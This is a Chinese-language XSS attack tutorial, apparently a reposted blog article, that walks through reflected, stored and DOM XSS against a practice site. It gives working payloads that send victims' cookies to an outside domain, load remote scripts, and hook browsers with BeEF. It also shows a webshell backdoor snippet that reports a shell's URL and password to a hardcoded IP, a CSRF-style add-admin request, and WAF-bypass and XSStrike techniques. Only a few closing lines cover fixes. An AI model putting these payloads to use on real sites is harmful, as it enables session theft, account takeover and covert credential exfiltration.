XSS(跨站脚本攻击)原理详解(内含攻击实例)
环境:
军锋真人cs野战123平台、xss平台(推荐自行搭建xss平台,不让别人白嫖咱自个的成果,蓝莲花战队的那个就挺好)、webshell箱子、postman、beef(kali上可能要自行下载,三行命令即可)、burpsuite、xsstrike【内含软件使用方法】
一、原理、危害、特点
原理:前端提交的一些参数转换为js代码,可以回显一些东西
跨站:例如你将一段攻击代码通过留言存储到对方服务器上时,对方管理员在浏览时就可能会执行你所写的攻击语句。
产生层面:前端
函数类:一般应用js里面的一些输出类函数
但是会受浏览器内核影响,一些浏览器会进行拦截
二、分类
反射型(非持续):攻击数据不会储存在对方服务器,类似于一次交互(后端语言进行处理)
存储型(持续):攻击数据储存在对方服务器,持续攻击,危害程度较大
DOM:攻击数据作为前端js函数参数去执行,不与后端进行交互(前端语言进行处理)【很容易发现,可以直接看前端源代码得到,可以作为反射性的一种】
三、常规攻击手法
XSS平台:可以用来构造一些payload语句,然后在该平台会显示你所要获得的信息
Beef
Cookie:用户凭据,可以用来证明身份信息,cookie和用户登录有关,存储在本地,小中型网站
想要通过xss获取cookie:
①:存在xss跨站漏洞
②:对方浏览器不拦截
③:对方有登录过
④:对方会触发
⑤:对方未过滤
Session:会话,存储在服务器存活时间短,常用做大型网站,金融等,会占用服务器资源但更安全
攻击手法:
首先搭建军锋真人cs野战123平台+xss平台注册账号
Ⅰ:通过在xss平台构造相应payload,在军锋平台进行xss攻击
后台管理查看订单触发攻击代码:
通过分析数据包:(有数据包发送到外部地址,携带一定数据)
Ⅱ:postman使用方法:(可以十分方便地修改一些字段等等)
Ⅲ:自己手动构造xss攻击代码
①:<script src='http://xqmo.fun/test.php?c='+document.cookie></script>
其中这里面的网址http://xqmo.fun/test.php?c=是自己任意构造的,但是要在相应位置设置接受你文件,
随后便可以将xss攻击代码注入相应位置,去获得相应cookie
②:<script src='http://xqmo.fun/hack.js></script>
然后在相应服务器端写好相应的hack.js文件,其中将所需要东西进行保存
Ⅳ:后门以及后门的后门(webshell箱子)
思路很简单:在后门里面加上一个后门,其中类似于在后门里面写上如下代码:
$password="admin";
$url=$_SERVER['HTTP_HOST']._SERVER['PHP_SELF'];
<script src='http://121.43.118.109/api.asp?url=$url&pass=$password'>
当然所发送的网站需要你自己取搭建webshell箱子环境,比较难受的是你有可能被反杀如果做的不好的话
(可以尝试网上的马)
Ⅴ:浏览器攻击框架beef 账号:beef 密码:123456
在kali上以管理员启动,直接输入beef-xss即可启动
构造xss攻击代码
<script src="http://192.168.136.128:3000/hook.js"></script>
通过将攻击代码发送在可能存在漏洞的地方后,就可以在beef里面获得相应的权限
Ⅵ:我的XSS平台(蓝莲花版)
首先通过构造xss攻击语句(只需要更改自己的website地址即可)
紧接着就可以直接生成对应payload进行注入,
注入后,管理员进入后台,触发代码
随后我这边就接收到相应的信息
四、绕过
Httponly:开启过后,通过js脚本无法获得cookie信息,可以有效防止xss攻击
获取对方后台权限两种方式:
Httponly:则使得cookie不能获取
1:账号密码
浏览器
保存读取:可以通过xss平台构造payload获取浏览器保存的账号密码(需要配置一些东西),xss漏洞可能就是一般的存储型漏洞,留言板等
未保存读取:表单劫持(xss漏洞产生在登陆界面),同样是利用xss平台,需要将攻击语句写入到对应地方,或者自己构造一些东西。感觉挺鸡肋
2:cookie
代码过滤:xss过关平台可以学到一些绕过知识
referer:可以显示请求链接的来源地址,例如从www.xiaodi8.com点击其中一个模块,其所发送的数据包中就会显示referer:www.xiaodi8.com,有时候可以用其抵御xss跨站攻击
攻击手法:在自己博客首页构造payload:<script src="http://www.xiaodi8.com/addadmin.php?user=xd&pwd=123456"></script>
然后诱导小迪点击我的博客,随后如果其浏览器保持xiaodi8.com的后台登陆状态时,同时又没有检测来源时就会执行相应代码,然后就莫名被吃了西瓜
******同源策略******
waf绕过:
手工探针-xss(其实和那个xss里面的一些代码过去差不多)
单引号绕过
垃圾数据填充
特殊符号干扰("\"符号的妙用(因为“\”常用来表示一些结束</html>等)、加‘#’)
标签替换(就是onclick\src\script)
更改提交方式【post】【cookie】但是对方后台要能接受相应的数据
加解密提交,可与把对应的字母进行加密,但是网站本身能解密你所加密的东西
fuzz测试生成代码:
XSS Fuzzer (在线根据生成一些可能能用的payload)
<img src='' οnerrοr=javascript:alert(1)> ==> <img /src=""/ οnerrοr='javascript:alert(1)'SADSAdadas@#>(这个可能就有点瞎搞的嫌疑,)
自动化工具绕waf(功能强大,检测规避waf、强大fuzz引擎、盲大xss支持……)xsstrike
(脚本在F盘)
python F:\XSStrike\xsstrike.py -u 欢迎来到level1
python F:\XSStrike\xsstrike.py -u 欢迎来到level1 --fuzzer
fuzz字典用burpsuit去跑里面的字典,进行模糊测试
一篇文章
[翻译]绕过XSS检测机制-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com
安全修复方法:
开启httponly、输入过滤、输出过滤
java:开启xssfilter
php:开启一些过滤(一些特殊函数htmlentities())
码字不易,期待宝子的关注
XSS(跨站脚本攻击)原理详解(内含攻击实例)相关推荐
- CFI/CFG 安全防护原理详解(ROP攻击、DOP攻击、插装检测)
1. 简介 CFI: Control-Flow Integrity(控制流完整性) CFG: Control Flow Guard(Windows的CFI实现) CFG: Control-Flow G ...
- SQL注入攻击实现原理与攻击过程详解
SQL注入攻击实现原理与攻击过程详解 结构化查询语言(SQL)是一种用来和数据库交互的文本语言,SQL Injection就是利用某些数据库的外部接口把用户数据插入到实际的数据库操作语言当中,从而达到 ...
- AI 以 5:0 比分击败美顶级飞行员;经典对抗攻击 Deepfool 原理详解
开发者社区技术周刊又和大家见面了,快来看看这周有哪些值得我们开发者关注的重要新闻吧. 2019 年全球公共云服务市场总额达 2334 亿美元 新里程碑!IBM 宣布最高量子体积 64 马斯克将通过实时 ...
- Beini 的6种攻击模式详解
Beini 的6种攻击模式详解 Aireplay-ng 的 6 种攻击模式详解 -0 Deautenticate 冲突模式 使已经连接的合法客户端强制断开与路由端的连接,使其重新连接.在重 ...
- ARP缓存表的构成ARP协议全面实战协议详解、攻击与防御
ARP缓存表的构成ARP协议全面实战协议详解.攻击与防御 1.4.3 ARP缓存表的构成 在局域网的任何一台主机中,都有一个ARP缓存表.该缓存表中保存中多个ARP条目.每个ARP条目都是由一个IP ...
- 《Kali Linux高级渗透测试原书第2版》网络渗透测试技术书 无线网络渗透测试详解 黑客攻击与防范实战从入门到精通书
内容简介: KaliLinux面向专业的渗透测试和审计,集成了大量挑选的检测工具.本书在KaliLinux平台上从一个攻击者的角度来审视网络框架,详细介绍了攻击者"杀链"采取的具体 ...
- 八大典型APT攻击过程详解
八大典型APT攻击过程详解 2013-08-27 17:55 启明星辰 yepeng 51CTO.com 字号:T | T APT攻击是近几年来出现的一种高级攻击,具有难检测.持续时间长和攻击目标明确 ...
- DoS及攻击方法详解
DoS及攻击方法详解 0x01 DOS攻击简介 DoS(Denial of Service) DoS又被称为拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务,最 ...
- csrf漏洞防御方案_CSRF 漏洞原理详解及防御方法
跨站请求伪造:攻击者可以劫持其他用户进行的一些请求,利用用户身份进行恶意操作. 例如:请求http://x.com/del.php?id=1是一个删除ID为1的账号,但是只有管理员才可以操作,如果攻击 ...
- HTTPS 加密算法原理详解
本文讲的是HTTPS 加密算法原理详解, 前言 HTTPS(全称:HyperText Transfer Protocol over Secure Socket Layer),其实 HTTPS 并不是一 ...
最新文章
- Lomox0.2.0.1_Plugin_beta
- 为什么做了梦第二天想不起来_元旦提醒:为什么有人睡觉爱把脚伸到被子外面?其实与身体状况有关…切勿忽视...
- %@taglib prefix=c uri=http://java.sun.com/jsp/jst1/core%报错
- 2019蓝桥杯省赛---java---B---1(组队)
- 直接拿来用!10款实用Android UI工具
- windows2016安装.netFramework 3.5
- Bootstrap 滚动监听插件Scrollspy 的方法
- Ubuntu 11.04下编译kernel
- asp.net下载文件的常用方法大全
- RMBP下eclipse支持高清
- mysql父行指那一行,MySQL中给定父行找到所有子行的解决方案
- 那些互联网IT岗位的招聘潜台词,能看到说明你是历经磨难的老司机
- 星星之火-49:5G 移动边缘计算MEC快览
- 今天开始研究小米便签的开源代码
- python 代码生成器_Python代码生成器(代码生成工具)V1.1 正式版
- R400安装Windows2003网卡驱动
- 智能颈部按摩仪设计——2.开发环境搭建
- Xposed框架初次见面-开发自己的Xposed插件
- 从飞猪智能酒店到优酷视频,探索阿里智能研发协同流程
- 改进YOLOv7系列:首发最新结合Global Context Modeling结构(附YOLOv5改进),目标检测高效涨点